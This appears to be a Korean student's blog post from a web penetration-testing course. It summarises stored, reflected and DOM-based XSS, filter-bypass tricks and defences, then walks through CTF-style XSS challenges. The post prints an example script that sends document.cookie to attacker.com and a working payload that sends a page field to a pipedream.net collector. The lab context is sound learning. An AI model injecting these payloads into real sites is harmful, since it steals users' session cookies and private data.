보안공부/웹 모의해킹 공부

25. [11주차]-1 XSS 문제풀이-2

ssjune 2024. 6. 29. 13:04

* 과제

1. 수업 내용 정리
2. 문제 풀기

 


 

1. 수업 내용 정리

총 3가지 종류의 XSS 공격 기법을 배웠다.

 

1. Stored XSS: 게시판 같은 이용자 입력데이터를 저장하는 곳에서 발생

2. Reflected XSS: 검색 같은 이용자 입력데이터를 바로 처리하는 곳에서 발생

3. DOM Based XSS: 이용자의 입력데이터를 이용해 HTML 태그를 만드는 곳에서 발생

 

<script>
var data = document.cookie;

//GET
// 이미지 태그
var i = new Image();
i.src="http://attacker.com/" + data

</scrcipt>

 

기본적으로 위와 같은 형식의 공격 스크립트를 사용한다.

1. 쿠키 값을 가져온다.

2. Image()의 src를 이용해서 공격자의 웹 서버로 쿠키 데이터를 붙여서 GET 요청을 보내게 한다.

 

 

XSS취약점의 대응방안이 몇개 있다.

1. 특정단어를 막는 블랙리스트 기반

2. 특정단어를 허용하는 화이트리스트 기반

 

블랙리스트 기반은 우회될 가능성이 있다.

대소문자를 섞어서 쓰던가, 단어를 중복해서 쓰는 것이다.(ex. scrscriptipt, script를 지워도 앞뒤의 scr ipt 때문에 script 단어가 그대로 사용된다.)

 

onmouseover, autofocus, onfocus 같은 이벤트를 사용하는 경우도 있다.

 

근본적인 대책은 HTML Entity 치환이다.

그러나 HTML 에디터 기능을 제공하는 사이트라면 복잡해진다. 에디터 기능 상 왠만하면 입력이 가능해야 하기 때문이다. 따라서 아래의 절차를 거쳐 XSS 취약점에 대응해야 한다.

 

1. 파라미터에서 html 특수문자들을 전부 entity로 치환한다.

2. 허용해줄 tag를 식별하고 그 tag는 다시 살린다.
(화이트리스트기반)

3. 살려준 tag내에 악의적인 이벤트 핸들러 필터링
(블랙리스트기반)
ex) img 태그에서 src는 상관없지만 onerror 같은 건 필터링 필요

 

 

 

2. 문제 풀기

 

 

 

2.1. Basic Script Prac

1번 문제는 강의에서 힌트를 주어서 마이페이지의 Flag Here 라는 곳에서 플래그를 얻을 수 있다고 했다.

 

 

 

abc1234">
<script>
    setTimeout(function(){
    var data=document.getElementsByTagName("input")[1].placeholder;
    var i=new Image();i.src="https://en3fk1iqctav.x.pipedream.net/"+data;
    },500);
</script>
<"

위와 같은 코드를 넣어 Flag Here 에서 값을 가져올 수 있게 하고 url을 관리자 봇에 넣어 플래그를 얻을 수 있었다.

 

 

2.2. Steal Info

이 문제는 아래와 같은 마이페이지를 주고 관리자 페이지도 이와 똑같다고 설명하고 있다.

아마 내 정보 칸에 플래그가 있음을 짐작할 수 있다.

기존에 쓰던 게시판을 이용해서 여기서 XSS 공격을 수행한다.

 

업데이트 기능을 인터셉트해서 아래 처럼 공격 코드를 넣었다.

게시판에서 iframe을 이용해서 관리자 페이지의 html에 접근하는 코드이다.

그냥 하면 안되길래, setTimeout을 이용해서 시간차를 주니까 동작한다.

 

해당 게시글에 대한 url을 관리자 봇에 입력하니 플래그를 얻을 수 있었다.

 

 

2.3. Steal Info 2

admin 계정의 마이페이지의 정보란에 flag가 있다는 내용이다.

먼저 내 계정의 마이페이지를 확인한다.

아마 여기서 Nothin Here... 일 거 같은데...

 

마이페이지에서는 XSS 공격이 되지 않는 듯 했다.

그래서 2번 문제처럼 iframe을 이용하기로 했다.

게시판으로 이동해서

위와 같은 코드를 입력한다.

마이페이지에서 info 내용을 추출하는 코드이다.

 

그렇게 플래그를 얻을 수 있었다.

 

반응형